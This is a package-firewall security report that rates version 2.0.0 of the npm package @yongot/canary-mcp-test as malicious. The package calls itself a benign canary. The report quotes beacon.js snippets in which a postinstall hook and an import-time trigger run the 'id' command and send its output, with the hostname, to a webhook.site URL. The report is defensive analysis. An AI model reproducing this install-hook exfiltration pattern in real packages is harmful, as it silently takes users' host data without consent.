---
canonical: "https://firewall.lpm.dev/npm/@yongot/canary-mcp-test/v/2.0.0"
markdown: "https://firewall.lpm.dev/npm/@yongot/canary-mcp-test/v/2.0.0.md"
package: "@yongot/canary-mcp-test"
report_status: "published"
title: "@yongot/canary-mcp-test@2.0.0 npm security report"
verdict: "malicious"
version: "2.0.0"
---

# @yongot/canary-mcp-test@2.0.0 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — A third party receives the installed host name and local process identity output.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Install Hook Abuse
- **Selected version:** 2.0.0
- **Selected version is latest:** No
- **Analysis source:** AI Security Review (lpm-firewall-ai)

Trusted malware advisory MAL-2026-16062 identifies this version as malicious. Firewall keeps the version blocked under its trusted-intelligence policy. An AI recommendation to allow or warn does not override that advisory.

AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy.

Installation runs a shell command and exfiltrates its output with the host name. Importing the package also triggers the beacon.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Recorded final verdict:** Malicious
- **Recorded analysis confidence:** 99.0%
- **Started:** 2026-09-07T11:54:39.858Z
- **Finished:** 2026-09-07T11:55:17.354Z
- **Download time:** 767 ms
- **Static scan time:** 14 ms
- **AI review time:** 36714 ms
- **Total time:** 37496 ms

The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs.

## Security analysis

### Published attack-surface review

- **Summary:** Installation runs a shell command and exfiltrates its output with the host name. Importing the package also triggers the beacon.

- **Trigger:** npm installation or importing the package entrypoint

- **Impact:** A third party receives the installed host name and local process identity output.

- **Evidence paths:** package.json, beacon.js, index.js

- **Review source:** ai\_review

- **Reviewed:** 2026-09-07T11:55:17.354Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** postinstall and import-time host reconnaissance sent by HTTPS

- **Attack narrative:** On installation, npm runs beacon.js. The beacon invokes id, combines its output with the machine hostname, and sends both to a webhook.site URL. The package entrypoint also loads the same beacon at import time, creating an additional automatic trigger.

- **Rationale:** This is unconsented install-time command execution and host-data exfiltration to a third-party endpoint. The import-time trigger reinforces the malicious lifecycle behavior.

- **Files touched:** package.json, beacon.js, index.js

- **Network endpoints:** https://webhook.site/b76376f8-118e-44f1-a5ee-8a73f55b137b

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for block:** The postinstall hook automatically runs the beacon during installation., The beacon executes the local id command., It sends the hostname and command output to a third-party webhook., Importing the package also immediately loads the beacon.

## Affected versions and remediation

This report applies to @yongot/canary-mcp-test@2.0.0.

- Avoid installing @yongot/canary-mcp-test@2.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

## Public findings

### 1. High: Install Time Lifecycle Scripts
- **Category:** Manifest
- **Confidence:** 90.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/@yongot/canary-mcp-test@2.0.0/package.json>)

Package defines install-time lifecycle scripts.

Public source snippet (untrusted):

```json
scripts.postinstall = node beacon.js postinstall
```

### 2. Medium: Ambiguous Install Lifecycle Script
- **Category:** Manifest
- **Confidence:** 75.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/@yongot/canary-mcp-test@2.0.0/package.json>)

Install-time lifecycle script is not statically allowlisted and needs review.

Public source snippet (untrusted):

```json
scripts.postinstall = node beacon.js postinstall
```

### 3. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 4. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 5. High: Sandbox Evasion Gated Capability
- **Category:** Source
- **Confidence:** 84.0%
- **Path:** beacon.js
- **Public source:** [View source](<https://unpkg.com/@yongot/canary-mcp-test@2.0.0/beacon.js>)

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

Public source snippet (untrusted):

```javascript
L1: const https = require('https');
L2: const WEBHOOK_URL = 'https://webhook.site/b76376f8-118e-44f1-a5ee-8a73f55b137b';
...
L6: // Get the 'id' output (synchronous)
L7: const output = require("child_process").execSync("id").toString();
L8: 
...
L10: url.searchParams.set('stage', stage);
L11: url.searchParams.set('host', require('os').hostname());
L12: url.searchParams.set('id_output', output);  // <-- add the command output
```

### 6. Low: Url Strings
- **Category:** Supply Chain
- **Confidence:** 65.0%

Package source contains URL literals.

### 7. Medium: Structural Risk Force Deep Review
- **Category:** Artifact Inventory
- **Confidence:** 80.0%

Artifact structure forces deeper review even if the static behavioral verdict is clean.

### 8. High: Known Malware Source Similarity
- **Category:** Static
- **Confidence:** 97.0%
- **Path:** beacon.js
- **Public source:** [View source](<https://unpkg.com/@yongot/canary-mcp-test@2.0.0/beacon.js>)

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = normalized_sha256
matchedPackage = @yongot/canary-mcp-test@4.0.0
matchedPath = beacon.js
matchedIdentity = npm:QHlvbmdvdC9jYW5hcnktbWNwLXRlc3Q:4.0.0
similarity = 1.000
summary = normalized source hash matched finalized malicious source
```

### 9. High: Known Malware Source Fingerprint Signature
- **Category:** Supply Chain
- **Confidence:** 94.0%
- **Path:** beacon.js
- **Public source:** [View source](<https://unpkg.com/@yongot/canary-mcp-test@2.0.0/beacon.js>)

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = malicious_source_fingerprint_signature
signature = 80c0ed45a4cf2e51
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = @yongot/canary-mcp-test@4.0.0
matchedPath = beacon.js
matchedIdentity = npm:QHlvbmdvdC9jYW5hcnktbWNwLXRlc3Q:4.0.0
similarity = 1.000
shingleOverlap = 2
summary = package final verdict is malicious
```

### 10. High: Suspicious Lifecycle Evidence
- **Category:** Manifest
- **Confidence:** 99.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/@yongot/canary-mcp-test@2.0.0/package.json>)

The postinstall hook automatically runs the beacon during installation.

Public source snippet (untrusted):

```json
"scripts": {
    "postinstall": "node beacon.js postinstall"
  }
```

### 11. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** beacon.js
- **Public source:** [View source](<https://unpkg.com/@yongot/canary-mcp-test@2.0.0/beacon.js>)

The beacon executes the local id command.

Public source snippet (untrusted):

```javascript
// Get the 'id' output (synchronous)
  const output = require("child_process").execSync("id").toString();
```

### 12. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** beacon.js
- **Public source:** [View source](<https://unpkg.com/@yongot/canary-mcp-test@2.0.0/beacon.js>)

It sends the hostname and command output to a third-party webhook.

Public source snippet (untrusted):

```javascript
const url = new URL(WEBHOOK_URL);
  url.searchParams.set('stage', stage);
  url.searchParams.set('host', require('os').hostname());
  url.searchParams.set('id_output', output);  // <-- add the command output

  https.get(url, () => {}).on('error', () => {});
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** Yes
- **Published lifecycle scripts:** postinstall
- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** @yongot/canary-mcp-test
- **Ecosystem:** npm
- **Version:** 2.0.0
- **License:** MIT
- **Version published:** 2026-09-06T14:37:35.696Z
- **Package first seen:** 2026-09-07T08:18:21.897Z
- **Package last seen:** 2026-09-11T12:51:27.053Z
- **Known versions:** 5
- **Latest version:** 0.0.1-security
- **Appeal under review:** No
- **Description:** Benign canary package for authorized security testing of an MCP scanner. No harmful behavior.
- **Artifact files:** 3
- **Artifact unpacked size:** 1,063 bytes
- **Artifact signatures:** 1
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/@yongot/canary-mcp-test/v/2.0.0>)
- [OSV advisory](<https://osv.dev/vulnerability/MAL-2026-16062>)
- [PACKAGE](<https://www.npmjs.com/package/@yongot/canary-mcp-test/v/3.0.0>)
- [PACKAGE](<https://www.npmjs.com/package/@yongot/canary-mcp-test/v/2.0.0>)
- [PACKAGE](<https://www.npmjs.com/package/@yongot/canary-mcp-test/v/4.0.0>)
- [PACKAGE](<https://www.npmjs.com/package/@yongot/canary-mcp-test/v/1.0.0>)
